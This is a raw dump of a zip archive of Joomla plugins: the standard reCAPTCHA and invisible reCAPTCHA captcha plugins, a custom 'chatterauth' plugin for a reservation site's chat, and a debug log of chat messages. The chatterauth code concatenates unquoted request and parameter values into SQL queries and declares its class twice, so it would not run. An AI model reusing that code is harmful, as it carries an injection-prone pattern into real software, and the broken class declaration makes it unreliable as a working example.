	 *
	 * @return  string  The HTML to be embedded in the form.
	 *
	 * @since  2.5
	 */
	public function onDisplay($name = null, $id =
'dynamic_recaptcha_1', $class = '')
	{
		$dom = new \DOMDocument('1.0', 'UTF-8');
		$ele = $dom->createElement('div');
		$ele->setAttribute('id', $id);

		if ($this->params->get('version', '1.0') ===
'1.0')
		{
			$ele->setAttribute('class', $class);
		}
		else
		{
			$ele->setAttribute('class', ((trim($class) == '')
? 'g-recaptcha' : ($class . ' g-recaptcha')));
			$ele->setAttribute('data-sitekey',
$this->params->get('public_key', ''));
			$ele->setAttribute('data-theme',
$this->params->get('theme2', 'light'));
			$ele->setAttribute('data-size',
$this->params->get('size', 'normal'));
			$ele->setAttribute('data-tabindex',
$this->params->get('tabindex', '0'));
			$ele->setAttribute('data-callback',
$this->params->get('callback', ''));
			$ele->setAttribute('data-expired-callback',
$this->params->get('expired_callback', ''));
			$ele->setAttribute('data-error-callback',
$this->params->get('error_callback', ''));
		}

		$dom->appendChild($ele);
		return $dom->saveHTML($ele);
	}

	/**
	 * Calls an HTTP POST function to verify if the user's guess was
correct
	 *
	 * @param   string  $code  Answer provided by user. Not needed for the
Recaptcha implementation
	 *
	 * @return  True if the answer is correct, false otherwise
	 *
	 * @since   2.5
	 * @throws  \RuntimeException
	 */
	public function onCheckAnswer($code = null)
	{
		$input      = \JFactory::getApplication()->input;
		$privatekey = $this->params->get('private_key');
		$version    = $this->params->get('version',
'1.0');
		$remoteip   = IpHelper::getIp();

		switch ($version)
		{
			case '1.0':
				$challenge = $input->get('recaptcha_challenge_field',
'', 'string');
				$response  = $code ? $code :
$input->get('recaptcha_response_field', '',
'string');
				$spam      = ($challenge === '' || $response ===
'');
				break;
			case '2.0':
				// Challenge Not needed in 2.0 but needed for getResponse call
				$challenge = null;
				$response  = $code ? $code :
$input->get('g-recaptcha-response', '',
'string');
				$spam      = ($response === '');
				break;
		}

		// Check for Private Key
		if (empty($privatekey))
		{
			throw new
\RuntimeException(JText::_('PLG_RECAPTCHA_ERROR_NO_PRIVATE_KEY'));
		}

		// Check for IP
		if (empty($remoteip))
		{
			throw new
\RuntimeException(JText::_('PLG_RECAPTCHA_ERROR_NO_IP'));
		}

		// Discard spam submissions
		if ($spam)
		{
			throw new
\RuntimeException(JText::_('PLG_RECAPTCHA_ERROR_EMPTY_SOLUTION'));
		}

		return $this->getResponse($privatekey, $remoteip, $response,
$challenge);
	}

	/**
	 * Get the reCaptcha response.
	 *
	 * @param   string  $privatekey  The private key for authentication.
	 * @param   string  $remoteip    The remote IP of the visitor.
	 * @param   string  $response    The response received from Google.
	 * @param   string  $challenge   The challenge field from the reCaptcha.
Only for 1.0
	 *
	 * @return bool True if response is good | False if response is bad.
	 *
	 * @since   3.4
	 * @throws  \RuntimeException
	 */
	private function getResponse($privatekey, $remoteip, $response, $challenge
= null)
	{
		$version = $this->params->get('version',
'1.0');

		switch ($version)
		{
			case '1.0':
				$response = $this->_recaptcha_http_post(
					'www.google.com', '/recaptcha/api/verify',
					array(
						'privatekey' => $privatekey,
						'remoteip'   => $remoteip,
						'challenge'  => $challenge,
						'response'   => $response
					)
				);

				$answers = explode("\n", $response[1]);

				if (trim($answers[0]) !== 'true')
				{
					// @todo use exceptions here
					$this->_subject->setError(JText::_('PLG_RECAPTCHA_ERROR_'
. strtoupper(str_replace('-', '_', $answers[1]))));

					return false;
				}
				break;
			case '2.0':
				$reCaptcha = new \ReCaptcha\ReCaptcha($privatekey, new
HttpBridgePostRequestMethod);
				$response = $reCaptcha->verify($response, $remoteip);

				if (!$response->isSuccess())
				{
					foreach ($response->getErrorCodes() as $error)
					{
						throw new \RuntimeException($error);
					}

					return false;
				}
				break;
		}

		return true;
	}

	/**
	 * Encodes the given data into a query string format.
	 *
	 * @param   array  $data  Array of string elements to be encoded
	 *
	 * @return  string  Encoded request
	 *
	 * @since  2.5
	 */
	private function _recaptcha_qsencode($data)
	{
		$req = '';

		foreach ($data as $key => $value)
		{
			$req .= $key . '=' . urlencode(stripslashes($value)) .
'&';
		}

		// Cut the last '&'
		$req = rtrim($req, '&');

		return $req;
	}

	/**
	 * Submits an HTTP POST to a reCAPTCHA server.
	 *
	 * @param   string  $host  Host name to POST to.
	 * @param   string  $path  Path on host to POST to.
	 * @param   array   $data  Data to be POSTed.
	 * @param   int     $port  Optional port number on host.
	 *
	 * @return  array   Response
	 *
	 * @since  2.5
	 */
	private function _recaptcha_http_post($host, $path, $data, $port = 80)
	{
		$req = $this->_recaptcha_qsencode($data);

		$http_request  = "POST $path HTTP/1.0\r\n";
		$http_request .= "Host: $host\r\n";
		$http_request .= "Content-Type:
application/x-www-form-urlencoded;\r\n";
		$http_request .= "Content-Length: " . strlen($req) .
"\r\n";
		$http_request .= "User-Agent: reCAPTCHA/PHP\r\n";
		$http_request .= "\r\n";
		$http_request .= $req;

		$response = '';

		if (($fs = @fsockopen($host, $port, $errno, $errstr, 10)) === false)
		{
			die('Could not open socket');
		}

		fwrite($fs, $http_request);

		while (!feof($fs))
		{
			// One TCP-IP packet
			$response .= fgets($fs, 1160);
		}

		fclose($fs);
		$response = explode("\r\n\r\n", $response, 2);

		return $response;
	}

	/**
	 * Get the language tag or a custom translation
	 *
	 * @return  string
	 *
	 * @since  2.5
	 */
	private function _getLanguage()
	{
		$language = JFactory::getLanguage();

		$tag = explode('-', $language->getTag());
		$tag = $tag[0];
		$available = array('en', 'pt', 'fr',
'de', 'nl', 'ru', 'es',
'tr');

		if (in_array($tag, $available))
		{
			return "lang : '" . $tag . "',";
		}

		// If the default language is not available, let's search for a
custom translation
		if ($language->hasKey('PLG_RECAPTCHA_CUSTOM_LANG'))
		{
			$custom[] = 'custom_translations : {';
			$custom[] = "\t" . 'instructions_visual : "' .
JText::_('PLG_RECAPTCHA_INSTRUCTIONS_VISUAL') .
'",';
			$custom[] = "\t" . 'instructions_audio : "' .
JText::_('PLG_RECAPTCHA_INSTRUCTIONS_AUDIO') .
'",';
			$custom[] = "\t" . 'play_again : "' .
JText::_('PLG_RECAPTCHA_PLAY_AGAIN') . '",';
			$custom[] = "\t" . 'cant_hear_this : "' .
JText::_('PLG_RECAPTCHA_CANT_HEAR_THIS') . '",';
			$custom[] = "\t" . 'visual_challenge : "' .
JText::_('PLG_RECAPTCHA_VISUAL_CHALLENGE') . '",';
			$custom[] = "\t" . 'audio_challenge : "' .
JText::_('PLG_RECAPTCHA_AUDIO_CHALLENGE') . '",';
			$custom[] = "\t" . 'refresh_btn : "' .
JText::_('PLG_RECAPTCHA_REFRESH_BTN') . '",';
			$custom[] = "\t" . 'help_btn : "' .
JText::_('PLG_RECAPTCHA_HELP_BTN') . '",';
			$custom[] = "\t" . 'incorrect_try_again : "' .
JText::_('PLG_RECAPTCHA_INCORRECT_TRY_AGAIN') .
'",';
			$custom[] = '},';
			$custom[] = "lang : '" . $tag . "',";

			return implode("\n", $custom);
		}

		// If nothing helps fall back to english
		return '';
	}
}
PK	�[��_*44captcha/recaptcha/recaptcha.xmlnu�[���<?xml
version="1.0" encoding="utf-8"?>
<extension version="3.4" type="plugin"
group="captcha" method="upgrade">
	<name>plg_captcha_recaptcha</name>
	<version>3.4.0</version>
	<creationDate>December 2011</creationDate>
	<author>Joomla! Project</author>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<copyright>Copyright (C) 2005 - 2020 Open Source Matters. All rights
reserved.</copyright>
	<license>GNU General Public License version 2 or later; see
LICENSE.txt</license>
	<description>PLG_CAPTCHA_RECAPTCHA_XML_DESCRIPTION</description>
	<files>
		<filename
plugin="recaptcha">recaptcha.php</filename>
	</files>
	<languages>
		<language
tag="en-GB">en-GB.plg_captcha_recaptcha.ini</language>
		<language
tag="en-GB">en-GB.plg_captcha_recaptcha.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="message"
					type="note"
					label="PLG_RECAPTCHA_VERSION_1_WARNING_LABEL"
					showon="version:1.0"
				/>

				<field
					name="version"
					type="list"
					label="PLG_RECAPTCHA_VERSION_LABEL"
					description="PLG_RECAPTCHA_VERSION_DESC"
					default="2.0"
					size="1"
					>
					<option
value="1.0">PLG_RECAPTCHA_VERSION_V1</option>
					<option
value="2.0">PLG_RECAPTCHA_VERSION_V2</option>
				</field>

				<field
					name="public_key"
					type="text"
					label="PLG_RECAPTCHA_PUBLIC_KEY_LABEL"
					description="PLG_RECAPTCHA_PUBLIC_KEY_DESC"
					default=""
					required="true"
					filter="string"
					size="100"
					class="input-xxlarge"
				/>

				<field
					name="private_key"
					type="text"
					label="PLG_RECAPTCHA_PRIVATE_KEY_LABEL"
					description="PLG_RECAPTCHA_PRIVATE_KEY_DESC"
					default=""
					required="true"
					filter="string"
					size="100"
					class="input-xxlarge"
				/>

				<field
					name="theme"
					type="list"
					label="PLG_RECAPTCHA_THEME_LABEL"
					description="PLG_RECAPTCHA_THEME_DESC"
					default="clean"
					showon="version:1.0"
					filter=""
					>
					<option
value="clean">PLG_RECAPTCHA_THEME_CLEAN</option>
					<option
value="white">PLG_RECAPTCHA_THEME_WHITE</option>
					<option
value="blackglass">PLG_RECAPTCHA_THEME_BLACKGLASS</option>
					<option
value="red">PLG_RECAPTCHA_THEME_RED</option>
				</field>

				<field
					name="theme2"
					type="list"
					label="PLG_RECAPTCHA_THEME_LABEL"
					description="PLG_RECAPTCHA_THEME_DESC"
					default="light"
					showon="version:2.0"
					filter=""
					>
					<option
value="light">PLG_RECAPTCHA_THEME_LIGHT</option>
					<option
value="dark">PLG_RECAPTCHA_THEME_DARK</option>
				</field>

				<field
					name="size"
					type="list"
					label="PLG_RECAPTCHA_SIZE_LABEL"
					description="PLG_RECAPTCHA_SIZE_DESC"
					default="normal"
					showon="version:2.0"
					filter=""
					>
					<option
value="normal">PLG_RECAPTCHA_THEME_NORMAL</option>
					<option
value="compact">PLG_RECAPTCHA_THEME_COMPACT</option>
				</field>

				<field
					name="tabindex"
					type="number"
					label="PLG_RECAPTCHA_TABINDEX_LABEL"
					description="PLG_RECAPTCHA_TABINDEX_DESC"
					default="0"
					showon="version:2.0"
					min="0"
				/>

				<field
					name="callback"
					type="text"
					label="PLG_RECAPTCHA_CALLBACK_LABEL"
					description="PLG_RECAPTCHA_CALLBACK_DESC"
					default=""
					showon="version:2.0"
					filter="string"
				/>

				<field
					name="expired_callback"
					type="text"
					label="PLG_RECAPTCHA_EXPIRED_CALLBACK_LABEL"
					description="PLG_RECAPTCHA_EXPIRED_CALLBACK_DESC"
					default=""
					showon="version:2.0"
					filter="string"
				/>

				<field
					name="error_callback"
					type="text"
					label="PLG_RECAPTCHA_ERROR_CALLBACK_LABEL"
					description="PLG_RECAPTCHA_ERROR_CALLBACK_DESC"
					default=""
					showon="version:2.0"
					filter="string"
				/>
			</fieldset>
		</fields>
	</config>
</extension>
PK	�[��B���3captcha/recaptcha_invisible/recaptcha_invisible.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Captcha
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Captcha\Google\HttpBridgePostRequestMethod;
use Joomla\Utilities\IpHelper; 

/**
 * Invisible reCAPTCHA Plugin.
 *
 * @since  3.9.0
 */
class PlgCaptchaRecaptcha_Invisible extends \JPlugin
{
	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.9.0
	 */
	protected $autoloadLanguage = true;

	/**
	 * Reports the privacy related capabilities for this plugin to site
administrators.
	 *
	 * @return  array
	 *
	 * @since   3.9.0
	 */
	public function onPrivacyCollectAdminCapabilities()
	{
		$this->loadLanguage();

		return array(
			JText::_('PLG_CAPTCHA_RECAPTCHA_INVISIBLE') => array(
				JText::_('PLG_RECAPTCHA_INVISIBLE_PRIVACY_CAPABILITY_IP_ADDRESS'),
			)
		);
	}

	/**
	 * Initialise the captcha
	 *
	 * @param   string  $id  The id of the field.
	 *
	 * @return  boolean	True on success, false otherwise
	 *
	 * @since   3.9.0
	 * @throws  \RuntimeException
	 */
	public function onInit($id = 'dynamic_recaptcha_invisible_1')
	{
		$pubkey = $this->params->get('public_key', '');

		if ($pubkey === '')
		{
			throw new
\RuntimeException(JText::_('PLG_RECAPTCHA_INVISIBLE_ERROR_NO_PUBLIC_KEY'));
		}

		// Load callback first for browser compatibility
		\JHtml::_(
			'script',
			'plg_captcha_recaptcha_invisible/recaptcha.min.js',
			array('version' => 'auto', 'relative'
=> true),
			array('async' => 'async', 'defer' =>
'defer')
		);

		// Load Google reCAPTCHA api js
		$file = 'https://www.google.com/recaptcha/api.js'
			. '?onload=JoomlaInitReCaptchaInvisible'
			. '&render=explicit'
			. '&hl=' . \JFactory::getLanguage()->getTag();
		\JHtml::_(
			'script',
			$file,
			array(),
			array('async' => 'async', 'defer' =>
'defer')
		);

		return true;
	}

	/**
	 * Gets the challenge HTML
	 *
	 * @param   string  $name   The name of the field. Not Used.
	 * @param   string  $id     The id of the field.
	 * @param   string  $class  The class of the field.
	 *
	 * @return  string  The HTML to be embedded in the form.
	 *
	 * @since  3.9.0
	 */
	public function onDisplay($name = null, $id =
'dynamic_recaptcha_invisible_1', $class = '')
	{
		$dom = new \DOMDocument('1.0', 'UTF-8');
		$ele = $dom->createElement('div');
		$ele->setAttribute('id', $id);
		$ele->setAttribute('class', ((trim($class) == '')
? 'g-recaptcha' : ($class . ' g-recaptcha')));
		$ele->setAttribute('data-sitekey',
$this->params->get('public_key', ''));
		$ele->setAttribute('data-badge',
$this->params->get('badge', 'bottomright'));
		$ele->setAttribute('data-size', 'invisible');
		$ele->setAttribute('data-tabindex',
$this->params->get('tabindex', '0'));
		$ele->setAttribute('data-callback',
$this->params->get('callback', ''));
		$ele->setAttribute('data-expired-callback',
$this->params->get('expired_callback', ''));
		$ele->setAttribute('data-error-callback',
$this->params->get('error_callback', ''));
		$dom->appendChild($ele);

		return $dom->saveHTML($ele);
	}

	/**
	 * Calls an HTTP POST function to verify if the user's guess was
correct
	 *
	 * @param   string  $code  Answer provided by user. Not needed for the
Recaptcha implementation
	 *
	 * @return  boolean  True if the answer is correct, false otherwise
	 *
	 * @since   3.9.0
	 * @throws  \RuntimeException
	 */
	public function onCheckAnswer($code = null)
	{
		$input      = \JFactory::getApplication()->input;
		$privatekey = $this->params->get('private_key');
		$remoteip   = IpHelper::getIp();

		$response  = $input->get('g-recaptcha-response',
'', 'string');

		// Check for Private Key
		if (empty($privatekey))
		{
			throw new
\RuntimeException(JText::_('PLG_RECAPTCHA_INVISIBLE_ERROR_NO_PRIVATE_KEY'));
		}

		// Check for IP
		if (empty($remoteip))
		{
			throw new
\RuntimeException(JText::_('PLG_RECAPTCHA_INVISIBLE_ERROR_NO_IP'));
		}

		// Discard spam submissions
		if (trim($response) == '')
		{
			throw new
\RuntimeException(JText::_('PLG_RECAPTCHA_INVISIBLE_ERROR_EMPTY_SOLUTION'));
		}

		return $this->getResponse($privatekey, $remoteip, $response);
	}

	/**
	 * Method to react on the setup of a captcha field. Gives the possibility
	 * to change the field and/or the XML element for the field.
	 *
	 * @param   \Joomla\CMS\Form\Field\CaptchaField  $field    Captcha field
instance
	 * @param   \SimpleXMLElement                    $element  XML form
definition
	 *
	 * @return void
	 *
	 * @since 3.9.0
	 */
	public function onSetupField(\Joomla\CMS\Form\Field\CaptchaField $field,
\SimpleXMLElement $element)
	{
		// Hide the label for the invisible recaptcha type
		$element['hiddenLabel'] = true;
	}

	/**
	 * Get the reCaptcha response.
	 *
	 * @param   string  $privatekey  The private key for authentication.
	 * @param   string  $remoteip    The remote IP of the visitor.
	 * @param   string  $response    The response received from Google.
	 *
	 * @return  boolean  True if response is good | False if response is bad.
	 *
	 * @since   3.9.0
	 * @throws  \RuntimeException
	 */
	private function getResponse($privatekey, $remoteip, $response)
	{
		$reCaptcha = new \ReCaptcha\ReCaptcha($privatekey, new
HttpBridgePostRequestMethod);
		$response = $reCaptcha->verify($response, $remoteip);

		if (!$response->isSuccess())
		{
			foreach ($response->getErrorCodes() as $error)
			{
				throw new \RuntimeException($error);
			}

			return false;
		}

		return true;
	}
}
PK	�[�3o3captcha/recaptcha_invisible/recaptcha_invisible.xmlnu�[���<?xml
version="1.0" encoding="utf-8"?>
<extension version="3.8" type="plugin"
group="captcha" method="upgrade">
	<name>plg_captcha_recaptcha_invisible</name>
	<version>3.8</version>
	<creationDate>November 2017</creationDate>
	<author>Joomla! Project</author>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<copyright>Copyright (C) 2005 - 2020 Open Source Matters. All rights
reserved.</copyright>
	<license>GNU General Public License version 2 or later; see
LICENSE.txt</license>
	<description>PLG_CAPTCHA_RECAPTCHA_INVISIBLE_XML_DESCRIPTION</description>
	<files>
		<filename
plugin="recaptcha_invisible">recaptcha_invisible.php</filename>
	</files>
	<languages>
		<language
tag="en-GB">en-GB.plg_captcha_recaptcha_invisible.ini</language>
		<language
tag="en-GB">en-GB.plg_captcha_recaptcha_invisible.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">

				<field
					name="public_key"
					type="text"
					label="PLG_RECAPTCHA_INVISIBLE_PUBLIC_KEY_LABEL"
					description="PLG_RECAPTCHA_INVISIBLE_PUBLIC_KEY_DESC"
					default=""
					required="true"
					filter="string"
					size="100"
					class="input-xxlarge"
				/>

				<field
					name="private_key"
					type="text"
					label="PLG_RECAPTCHA_INVISIBLE_PRIVATE_KEY_LABEL"
					description="PLG_RECAPTCHA_INVISIBLE_PRIVATE_KEY_DESC"
					default=""
					required="true"
					filter="string"
					size="100"
					class="input-xxlarge"
				/>

				<field
					name="badge"
					type="list"
					label="PLG_RECAPTCHA_INVISIBLE_BADGE_LABEL"
					description="PLG_RECAPTCHA_INVISIBLE_BADGE_DESC"
					default="bottomright"
					>
					<option
value="bottomright">PLG_RECAPTCHA_INVISIBLE_BADGE_BOTTOMRIGHT</option>
					<option
value="bottomleft">PLG_RECAPTCHA_INVISIBLE_BADGE_BOTTOMLEFT</option>
					<option
value="inline">PLG_RECAPTCHA_INVISIBLE_BADGE_INLINE</option>
				</field>

				<field
					name="tabindex"
					type="number"
					label="PLG_RECAPTCHA_INVISIBLE_TABINDEX_LABEL"
					description="PLG_RECAPTCHA_INVISIBLE_TABINDEX_DESC"
					default="0"
					min="0"
					filter="integer"
				/>

				<field
					name="callback"
					type="text"
					label="PLG_RECAPTCHA_INVISIBLE_CALLBACK_LABEL"
					description="PLG_RECAPTCHA_INVISIBLE_CALLBACK_DESC"
					default=""
					filter="string"
				/>

				<field
					name="expired_callback"
					type="text"
					label="PLG_RECAPTCHA_INVISIBLE_EXPIRED_CALLBACK_LABEL"
					description="PLG_RECAPTCHA_INVISIBLE_EXPIRED_CALLBACK_DESC"
					default=""
					filter="string"
				/>

				<field
					name="error_callback"
					type="text"
					label="PLG_RECAPTCHA_INVISIBLE_ERROR_CALLBACK_LABEL"
					description="PLG_RECAPTCHA_INVISIBLE_ERROR_CALLBACK_DESC"
					default=""
					filter="string"
				/>
			</fieldset>
		</fields>
	</config>
</extension>
PK	�[4�)PP
chat/chatterauth/chatterauth.phpnu�[���<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				fdsh 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.36
	@build			28th March, 2023
	@created		17th December, 2020
	@package		Reservation
	@subpackage		chatterauth.php
	@author			farhad shahbazi <http://farhad.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');


/***[JCBGUI.class_extends.head.5.$$$$]***/
jimport( 'joomla.plugin.plugin' );/***[/JCBGUI$$$$]***/


class PlgChatChatterauth extends JEvent
{

/***[JCBGUI.joomla_plugin.main_class_code.62.$$$$]***/
  class PlgChatChatterauth extends JEvent
  {

    public function beforeChat($uid, $pid, $userid, $seid)
    {


      //firstQst site view control
      if (JFactory::getApplication()->input->get('view')==
'firstQst')
      {
        $uid=
JFactory::getApplication()->input->get('uid',0);
        $pid=
JFactory::getApplication()->input->get('pid',0);

        $db = JFactory::getDbo();
        $query= $db->getQuery(true)
          ->select('c.id')
         
->from($db->quoteName('#__reservation_consultant','c'))
         
->where($db->quoteName('c.userid').'='.$uid);

        $db->setQuery($query);

        $res= $db->loadObject();

        if(empty($res))
        {
         
JFactory::getApplication()->enqueueMessage('استفاده از
پارامترهای نامعتبر','warning');
          JFactory::getApplication()->redirect(JUri::root());
        }

        $db = JFactory::getDbo();
        $query= $db->getQuery(true)
          ->select('p.id')
         
->from($db->quoteName('#__reservation_plan','p'))
         
->where($db->quoteName('p.id').'='.$pid)
         
->where($db->quoteName('p.consultantid').'='.$res->id);

        $db->setQuery($query);

        $res= $db->loadObject();

        if(empty($res))
        {
         
JFactory::getApplication()->enqueueMessage('استفاده از
پارامترهای نامعتبر','warning');
          JFactory::getApplication()->redirect(JUri::root());
        }

        return false;
      }


      //messages site view control

      //        $session=
JFactory::getApplication()->input->get('session');

      $app= JFactory::getApplication();

      $db= JFactory::getDbo();

      $query = $db->getQuery(true)
        ->select($db->quoteName('id'))
        ->from($db->quoteName('#__reservation_sick'))
       
->where($db->quoteName('userid').'='.$userid);
      $db->setQuery($query);
      $res= $db->loadResult();

      if ($res)
      {
        $join= 'co.userid';
        $where= 'si.userid';
        $where2= 'co.userid';
      }

      else
      {
        $join= 'si.userid';
        $where= 'co.userid';
        $where2= 'si.userid';
      }



      $db= JFactory::getDbo();

      $query = $db->getQuery(true)
       
->select($db->quoteName(array('u.id','u.name','p.id','se.pay'),array('uid','name','pid','pay')))
       
->from($db->quoteName('#__reservation_session','se'))
       
->join('INNER',$db->quoteName('#__reservation_sick','si').'on
('.$db->quoteName('se.sickid').'='.$db->quoteName('si.id').')')
       
->join('INNER',$db->quoteName('#__reservation_plan','p').'on
('.$db->quoteName('se.planid').'='.$db->quoteName('p.id').')')
       
->join('INNER',$db->quoteName('#__reservation_consultant','co').'on
('.$db->quoteName('p.consultantid').'='.$db->quoteName('co.id').')')
       
->join('INNER',$db->quoteName('#__users','u').'on
('.$db->quoteName($join).'='.$db->quoteName('u.id').')')
        ->where($db->quoteName($where).'='.$userid)
        ->where($db->quoteName($where2).'='.$uid)
        ->where($db->quoteName('p.id').'='.$pid)
        ->where($db->quoteName('se.pay').'= 1')
       
->where($db->quoteName('se.id').'='.$seid);
      $db->setQuery($query);
      $res= $db->loadObject();


      if (empty($res))
      {

        JFactory::getApplication()->enqueueMessage('استفاده
از پارامترهای نامعتبر','warning');
        JFactory::getApplication()->redirect(JUri::root());
      }


      return true;


    }/***[/JCBGUI$$$$]***/

}
PK	�[���J��
chat/chatterauth/chatterauth.xmlnu�[���<?xml
version="1.0" encoding="utf-8"?>
<extension type="plugin" version="3.8"
group="chat" method="upgrade">
	<name>PLG_CHAT_CHATTERAUTH</name>
	<creationDate>28th March, 2023</creationDate>
	<author>farhad shahbazi</author>
	<authorEmail>farhad.shahbazi0010@gmail.com</authorEmail>
	<authorUrl>http://farhad.com</authorUrl>
	<copyright>Copyright (C) 2015. All Rights Reserved</copyright>
	<license>GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html</license>
	<version>1.0.0</version>
	<description>PLG_CHAT_CHATTERAUTH_XML_DESCRIPTION</description>

	<!-- Language files -->
	<languages folder="language">
		<language
tag="en-GB">en-GB/en-GB.plg_chat_chatterauth.ini</language>
		<language
tag="en-GB">en-GB/en-GB.plg_chat_chatterauth.sys.ini</language>
	</languages>

	<!-- Plugin files -->
	<files>
		<filename
plugin="chatterauth">chatterauth.php</filename>
		<filename>index.html</filename>
		<folder>language</folder>
	</files>
</extension>PK	�[�#o,,chat/chatterauth/index.htmlnu�[���<html><body
bgcolor="#FFFFFF"></body></html>PK	�[��)�$$>chat/chatterauth/language/en-GB/en-GB.plg_chat_chatterauth.ininu�[���PLG_CHAT_CHATTERAUTH="Chat
- Chatterauth"
PLG_CHAT_CHATTERAUTH_XML_DESCRIPTION="<h1>Chat - Chatterauth
(v.1.0.0)</h1> <div style='clear:
both;'></div><p>Created by <a
href='http://farhad.com' target='_blank'>farhad
shahbazi</a><br /><small>Development started 27th
February,
2023</small></p>"PK	�[��)�$$Bchat/chatterauth/language/en-GB/en-GB.plg_chat_chatterauth.sys.ininu�[���PLG_CHAT_CHATTERAUTH="Chat
- Chatterauth"
PLG_CHAT_CHATTERAUTH_XML_DESCRIPTION="<h1>Chat - Chatterauth
(v.1.0.0)</h1> <div style='clear:
both;'></div><p>Created by <a
href='http://farhad.com' target='_blank'>farhad
shahbazi</a><br /><small>Development started 27th
February,
2023</small></p>"PK	�[�#o,,*chat/chatterauth/language/en-GB/index.htmlnu�[���<html><body
bgcolor="#FFFFFF"></body></html>PK	�[�#o,,$chat/chatterauth/language/index.htmlnu�[���<html><body
bgcolor="#FFFFFF"></body></html>PK	�[�#o,,chat/sendMessage/index.htmlnu�[���<html><body
bgcolor="#FFFFFF"></body></html>PK	�[���$$>chat/sendMessage/language/en-GB/en-GB.plg_chat_sendmessage.ininu�[���PLG_CHAT_SENDMESSAGE="Chat
- SendMessage"
PLG_CHAT_SENDMESSAGE_XML_DESCRIPTION="<h1>Chat - SendMessage
(v.1.0.0)</h1> <div style='clear:
both;'></div><p>Created by <a
href='http://farhad.com' target='_blank'>farhad
shahbazi</a><br /><small>Development started 27th
February,
2023</small></p>"PK	�[���$$Bchat/sendMessage/language/en-GB/en-GB.plg_chat_sendmessage.sys.ininu�[���PLG_CHAT_SENDMESSAGE="Chat
- SendMessage"
PLG_CHAT_SENDMESSAGE_XML_DESCRIPTION="<h1>Chat - SendMessage
(v.1.0.0)</h1> <div style='clear:
both;'></div><p>Created by <a
href='http://farhad.com' target='_blank'>farhad
shahbazi</a><br /><small>Development started 27th
February,
2023</small></p>"PK	�[�#o,,*chat/sendMessage/language/en-GB/index.htmlnu�[���<html><body
bgcolor="#FFFFFF"></body></html>PK	�[�#o,,$chat/sendMessage/language/index.htmlnu�[���<html><body
bgcolor="#FFFFFF"></body></html>PK	�[�Z,�{{chat/sendMessage/log.txtnu�[���data
= Array
(
    [message] => testtttt
    [from] => 78
    [to] => 70
    [channel_token] => sadfdsf
    [id] => 357
)

data2 = Array
(
    [message] => testtttt
    [from] => 78
    [to] => 70
    [id] => 357
)

channel_token = sadfdsf
ss = Array
(
    [message] => testtttt
    [from] => 78
    [to] => 70
    [id] => 357
)

data = Array
(
    [message] => salam
    [from] => 70
    [to] => 78
    [channel_token] => sadfdsf
    [id] => 358
)

data2 = Array
(
    [message] => salam
    [from] => 70
    [to] => 78
    [id] => 358
)

channel_token = sadfdsf
ss = Array
(
    [message] => salam
    [from] => 70
    [to] => 78
    [id] => 358
)

data = Array
(
    [message] => <img
src="/components/com_reservation/files/IMG_2058.JPG">
    [from] => 78
    [to] => 70
    [channel_token] => sadfdsf
    [id] => 359
)

data2 = Array
(
    [message] => <img
src="/components/com_reservation/files/IMG_2058.JPG">
    [from] => 78
    [to] => 70
    [id] => 359
)

channel_token = sadfdsf
ss = Array
(
    [message] => <img
src="/components/com_reservation/files/IMG_2058.JPG">
    [from] => 78
    [to] => 70
    [id] => 359
)

data = Array
(
    [message] => <img
src="/components/com_reservation/files/irnicverif.jpg">
    [from] => 78
    [to] => 70
    [channel_token] => sadfdsf
    [id] => 360
)

data2 = Array
(
    [message] => <img
src="/components/com_reservation/files/irnicverif.jpg">
    [from] => 78
    [to] => 70
    [id] => 360
)

channel_token = sadfdsf
ss = Array
(
    [message] => <img
src="/components/com_reservation/files/irnicverif.jpg">
    [from] => 78
    [to] => 70
    [id] => 360
)

data = Array
(
    [message] => <img
src="/components/com_reservation/files/laseronconvayer.jpg">
    [from] => 78
    [to] => 70
    [channel_token] => sadfdsf
    [id] => 361
)

data2 = Array
(
    [message] => <img
src="/components/com_reservation/files/laseronconvayer.jpg">
    [from] => 78
    [to] => 70
    [id] => 361
)

channel_token = sadfdsf
ss = Array
(
    [message] => <img
src="/components/com_reservation/files/laseronconvayer.jpg">
    [from] => 78
    [to] => 70
    [id] => 361
)

data = Array
(
    [message] => test
    [from] => 70
    [to] => 78
    [channel_token] => sadfdsf
    [id] => 362
)

data2 = Array
(
    [message] => test
    [from] => 70
    [to] => 78
    [id] => 362
)

channel_token = sadfdsf
ss = Array
(
    [message] => test
    [from] => 70
    [to] => 78
    [id] => 362
)

data = Array
(
    [message] => t
    [from] => 70
    [to] => 78
    [channel_token] => sadfdsf
    [id] => 363
)

data2 = Array
(
    [message] => t
    [from] => 70
    [to] => 78
    [id] => 363
)

channel_token = sadfdsf
ss = Array
(
    [message] => t
    [from] => 70
    [to] => 78
    [id] => 363
)

data = Array
(
    [message] => t
    [from] => 70
    [to] => 78
    [channel_token] => sadfdsf
    [id] => 364
)

data2 = Array
(
    [message] => t
    [from] => 70
    [to] => 78
    [id] => 364
)

channel_token = sadfdsf
ss = Array
(
    [message] => t
